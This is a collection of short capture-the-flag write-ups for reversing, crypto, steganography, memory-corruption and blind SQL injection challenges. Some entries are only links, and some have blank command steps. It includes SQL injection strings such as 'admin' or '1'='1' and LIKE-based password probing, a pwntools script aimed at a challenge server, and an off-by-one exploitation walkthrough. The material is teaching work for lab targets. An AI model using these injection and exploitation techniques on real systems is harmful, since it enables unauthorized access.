Besides usual so libraries, there are files like "reverse_1.1", "pyimod00_crypto_key" and "flag.enc" that worth noticing. So I used "X" command to extract them, and add .pyc header to extracted "reverse_1.1" (because uncompyle need a correct pyc header, which we will mention later). The header consists of 8 bytes, mine was "03 F3 0D 0A A3 EF E1 58". First four bytes are magic number of python 2.7, and latter four are timestamp so can be any four bytes.
Then I ran uncompyle6 to decompile extracted pyc, and got python code as follows
So easy. Again I wrote a simple script to decrypt flag.enc, and got a picture which contains the flag.
```fp=open('flag.enc','rb')flag=fp.read()decoded=""for i in range(len(flag)): for b in xrange(256): if ((b & 15) << 4 | (b & 240) >> 4)==ord(flag[i]): decoded+=chr(b)fp2=open('decoded','wb')fp2.write(decoded)```
 |
In this challenge, we are given an ELF-64 file. After making an attempt to run it, we know that correct flag should be given as argv[1].
Then drag it into IDA. Result of static analysis was a real mess because the program was written in C++. However, the position of final comparison was clear, that was on 0x4010a0.
Our input string, after certain transformation, should become that shown in picture ("82a38...") to produce a correct result. Not knowing what kind of transformation it is, I set breakpoint on 0x4010a0, to see whether input chars and transformed chars have one-to-one correspondence. Luckily they have.So I wrote a script with a table that reflect the correspondence relationship. After running it we quickly got the flag.
```#!/usr/bin/env pythonorigin="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghkjilmnopqrstuvwxyz1234567890~!@#$%^&*()_{}"after="828183888a898b848685878c8e8d8fa0a2a1a3a8aaa9aba4a6a5929193989a999b949795969c9e9d9fb0b2b1b3b8bab9bbb4b6b5323133383a393b343630bd128013181aad19151416afb7bf"answer="82a386a3b7983198313b363293399232349892369a98323692989a313493913036929a303abf"
afterarray=[]answerarray=[]for i in range(76): afterarray.append(after[i*2:i*2+2])for i in range(38): answerarray.append(answer[i*2:i*2+2])for onebyte in answerarray: print origin[afterarray.index(onebyte)],```flag:ASIS{d2d2791c6a18da9ed19ade28cb09ae05} |
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**RSA_16M - CRYPTO -125**
L'énoncé nous fournit un fichier contenant :
1. un modulo d'une taille extrème2. un exposant : 655373. un cipher d'une taille extrème
__Résolution :__
On commence par isoler le cipher dans un fichier seul :
```0x3f33e5d55269698e9cc81d355d4420330e9e8fbfa6c4ae88b728e0e94de47604a8c67270099a6a36e1795a3f97fd0a9e3be648c8f38652abb47a4bde[...]
```
On charge le fichier dans sagemath et on le dechiffre :
```PYTHONsage: file=open("cipher","r")sage: cipher_hex=file.read()sage: cipher_dec=int(cipher_hex,16)sage: flag=pow(cipher_dec,1/e)sage: flag30156321943599743278455918182580886589695285093075236154009535613sage: hex(30156321943599743278455918182580886589695285093075236154009535613).dec....: ode("hex")'INSA{(I)NSA_W0uld_bE_pr0uD}'```
Le modulo étant trop grand il n'est pas pris en compte lors du chiffrement.
By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
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Let's try to determine the offset by which the code is located. Use next script:```import sysimport marshal
fname = sys.argv[1]f = open(fname, "rb").read()for x in range(len(f)): try: code = marshal.loads(f[x:]) print('Offset found: %d' % x) print('\targcount: %s' % code.co_argcount) print('\tconsts count: %d' % len(code.co_consts)) for item in code.co_consts: print('\t\t%s: %r' % (type(item), item)) print('\tfilename: %s' % code.co_filename) print('\tfirstlineno: %s' % code.co_firstlineno) print('\tflags: %s' % code.co_flags) print('\tname: %s' % code.co_name) print('\tnlocals: %s' % code.co_nlocals) print('\tstacksize: %s' % code.co_stacksize) print('\tvarnames count: %d' % len(code.co_varnames)) for item in code.co_varnames: print('\t\t%r' % item) break except ValueError: continue```
After starting we get the answer:> python3 found.py cctv_manager_activator.pyc
Well, we found code offset = 12. Let's try to decompile the code:```import uncompyle6...uncompyle6.main.uncompyle(3.5, code, sys.stdout)```After decompilation, we can trace the following logic of the script:```main() -> exec() -> self.activation.show() -> self.activator.activate(s.upper()) -> -> self.c.ok.emit() -> self.activation.c.ok.connect(self.activated.activation_passed) // if activate-> self.c.ko.emit() -> self.activation.c.ko.connect(self.activated.activation_failed) // else```That mean, what if we type key, function activation_passed printed flag. Let's look at the activation_passed function:```activation_passed() -> self.finalize()```So, we just need to run it:```lab_result = Noneyek = [ 5, 202, 234, 95, 76, 173, 96, 10, 232, 7, 146, 79, 111, 147, 145, 13]vei = [ 175, 161, 61, 70, 144, 218, 0, 50, 73, 173, 240, 202, 184, 17, 148, 2]cne = [ 253, 14, 187, 117, 252, 19, 15, 86, 196, 138, 67, 165, 142, 237, 112, 47, 154, 189, 33, 75, 195, 205, 10, 56, 3, 230, 180, 147, 134, 27, 143, 15, 250, 19, 235, 96, 231, 5, 74, 83, 136, 149, 79, 170, 136, 252, 113, 112, 223, 248, 33, 119, 206, 218, 79, 121, 9, 225, 253, 156, 136, 26, 146, 93, 188, 94, 170, 79, 184, 87, 102, 61, 178, 167, 20, 231, 132, 253, 106, 38, 141, 224, 112, 98, 171, 153, 50, 89, 5, 194, 181, 247, 137, 23, 139, 31, 251, 89, 169, 89, 198, 127, 97, 10, 170, 246, 105, 197, 226, 128, 30, 22]def finalize(): clear = '' buf = cne key = yek iv = vei buf_sz = len(buf) bsize = 16 for i in range(0, int(buf_sz / bsize)): for j in range(0, bsize): c = buf[i * bsize + j] ^ key[j] ^ iv[j] iv[j] = buf[i * bsize + j] buf[i * bsize + j] = c i = buf[buf_sz - 1] for j in range(0, i): buf[buf_sz - 1 - j] = 0 for i in range(0, buf_sz): if buf[i] == 0: break clear += chr(buf[i]) return clear
print(finalize())```After run:> $ python3 flag.py > Well done ! You bypassed/keygen-ed the activator ! Here is your flag: INSA{4ctiv4t0r_c4n_b3_byp4ss3d!K3YG3N}
We receive flag!!! Without keygen |
[https://binarystud.io/volgactf-2017-time-is-exploitation-150.html](https://binarystud.io/volgactf-2017-time-is-exploitation-150.html)
Very Detailed writeup ideal for beginners wanting to break into exploitation. |
import sysfrom pwn import *x = remote('34.206.4.227', 44840)
#Regex to extract between quotesa = re.findall(r"'(.*?)'", x.recv())
#Extracting the letter + number + endingb = a[0]c = int(a[1])d = a[2]
#constructing payloadpayload = b * cpayload += dpayload += "\n"
x.send(payload)sys.stdout.flush()print(x.recv()) |
# VolgaCTFWe search pcap file for what it hide inside.
after that we extract files from pcap file.
For this step we use this command:
or this command:
extract detected.7z
when open the other.zip file it wants to password for to extract hide file, and we search password from each.jpg file,
but we use OutGuess tool for extract steg information.
install command: # sudo apt-get install outguess
then we have the password:
use this password for extract hide file:
after that we use gzsteg tool:
https://packetstormsecurity.com/files/21616/gzsteg.zip.html download from here and apply the instructions: https://dl.packetstormsecurity.net/crypt/stego/DOS/gzsteg.txt
use this command for gzsteg:
WE HAVE THE FLAG:
|
# Level 3 - Master - WAR
```WARWin a simple Card Game. Source. Connect on shell2017.picoctf.com:4415.
HINTSBugs typically happen in groups. If you find one, what does it allow you to do?```
Note. I solved this by just throwing data at it.1) maxed out the name with 'A'*322) kept betting 1 coin till I started winning and then bet max till I got a prompt.
This doesn't help you understand the vulnerability though, and why it does this. So lets take a look at the following structure for saving the game state```Ctypedef struct _gameState{ int playerMoney; player ctfer; char name[NAMEBUFFLEN]; size_t deckSize; player opponent;} gameState;```Now look at how the name is being read in and specifically the null termination:```C//Reads input from user, and properly terminates the stringunsigned int readInput(char * buff, unsigned int len){ size_t count = 0; char c; while((c = getchar()) != '\n' && c != EOF){ if(count < (len-1)){ buff[count] = c; count++; } } buff[count+1] = '\x00'; return count;}```
This part here `buff[count+1] = '\x00';` will end up setting the deck size to zero if you give it enough characters in your name.Why is this useful? Lets look at this code here:```C //TODO: Implement card switching hands. Cheap hack here for playability gameData.deckSize--; if(gameData.deckSize == 0){ printf("All card used. Card switching will be implemented in v1.0, someday.\n"); exit(0); }```The code will decrement the counter before checking the deckSize. It will also only check for zero, which means that `-1` is perfectly fine and won't trigger the exit condition.
Now... Why is that important?Well, the player structure is what holds your cards:```typedef struct _player{ int money; deck playerCards; //<---- Cards} player;
typedef struct _gameState{ int playerMoney; player ctfer; //<----- Cards are right before name. char name[NAMEBUFFLEN]; size_t deckSize; player opponent;} gameState;```So now we have the ability to play past the 'rigged' deck that the application set up for us.
If we just put 32 'A' characters in the name we get this error message:```You have a 65 of suit 65.You won? Hmmm something must be wrong...Cheater. That's not actually a valid card.```Remember 'A' = 0x41 = 65. So it's reading our name as a set of cards. Great, lets just put the values we want in there, and we can win.I put in '\x04'*32, for the name, so that I'd have 16 hands of `4 of suite 4` and always win the bet.
But you can also decide to play through this and eventually you'll get to memory that is suited for winning because you step right into your opponents deck.
So in summary- you don't have to write an exploit for this level- you didn't necessarily need to 'see' the bug in the code in order to get the first hints- you just have to throw a bunch of data at the problem and see what breaks
Full exploit code in the [exploit.py](exploit.py) file.
|
[https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/PragyanCTF_For_Interstellar_150_Mar17.pdf](https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/PragyanCTF_For_Interstellar_150_Mar17.pdf) |
# Level 3 - no eyes```No EyesThe website isn't really me much, but you can still get the admin password, right?http://shell2017.picoctf.com:16012/
HINTS Sometimes an error message can be just as useful.```
I'm fairly new to web exploits, so this one seemed interesting to me. I started playing around with it.One of the first things I tried got me an error:```There Was An Error With Your Requestselect * from users where user = 'aoe;'';```mmm, what about input `aoeu' or '1'='1`
This got me a page that says:```Login Functionality Not Complete. Flag is 63 characters```
So now what do I try... Ok lets try a different user, like admin:
Input: `admin' or '1'='1`
So far so good... still successful login.How about some more fields, where I don't care what the value actually is, the flag is there somewhere:
Input: `aoeu' WHERE user LIKE '%`
MMM, that gets an error. How about password? No... pass?
```aoeu' WHERE pass LIKE '%```No... but wait... I took out the `or 1=1`. So I need a real username... lets try:```admin' WHERE pass LIKE '%```
DOHHH... the full SQL already has a WHERE clause. Dummy...```aoeu' and user LIKE '%```
Ohhh, that gets me `User not Found.`Ok, lets try admin again```admin' and user LIKE '%```
Yes... Ok `Incorrect Password.`
So now lets see if we can get the flag:```admin' and flag LIKE '%```
Nope, sql error again. flag must not be the right parameter.Lets try: ```admin' and pass LIKE '%```
Ahhh, that gets an `incorrect password` so that must be the right field.Ok, time to try a character:```admin' and pass LIKE 'A%```
No... `User not Found.` again. Ok I see how this is going to be... 63 characters, 26 Uppercase, 26 Lowercase, 10 numbers and special characters. Time to get a beer ;)
Break out wireshark and look at the post request to get the fields..Break out our trusty python requests library and set to work.
Here is the final [exploit code](exploit.py)
I tried to make it very 'movie' like, where you see the character it's trying and then it's replaced with the next character till it find the correct one and moves on. :)
Enjoy.If you're wondering why I placed most of the flag already in the script. This is because that part shouldn't change between users. And I want to be as gentle as possible on the servers, lets all play nice right?
You may have to update the URL with the port that was given to you. That FLAG is mine go get your own :P |
[https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/PragyanCTF_Ste_LostFriends_300_Mar17.pdf](https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/PragyanCTF_Ste_LostFriends_300_Mar17.pdf) |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>writeups</span></span></span><span>/</span><span><span>insomnihack(2017)</span></span><span>/</span>capscii<span>/</span> </div> </div>
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[http://byte-off.com/golang/picoctf-enter-the-matrix-writeup/](http://byte-off.com/golang/picoctf-enter-the-matrix-writeup/)
Here are a few Hints
1. Try playing with different non-symmetrical matrices.2. You can ssh into the machine that is running the challenge.3. gdb will give you incorrect libc offsets for outside of gdb.4. On that machine you can use “readelf -s /lib32/libc.so.6” to get function offsets for anything you need.5. Free is passed a pointer to data you control.
For the whole writeup, and a working answer and explination, read here:[http://byte-off.com/golang/picoctf-enter-the-matrix-writeup/](http://byte-off.com/golang/picoctf-enter-the-matrix-writeup/) |
[https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/FITHACK_Ste_HideFalg_100_Apr17.md](https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/FITHACK_Ste_HideFalg_100_Apr17.md) |
[https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/PragyanCTF_Ste_StarWars_100_Mar17.pdf](https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/PragyanCTF_Ste_StarWars_100_Mar17.pdf) |
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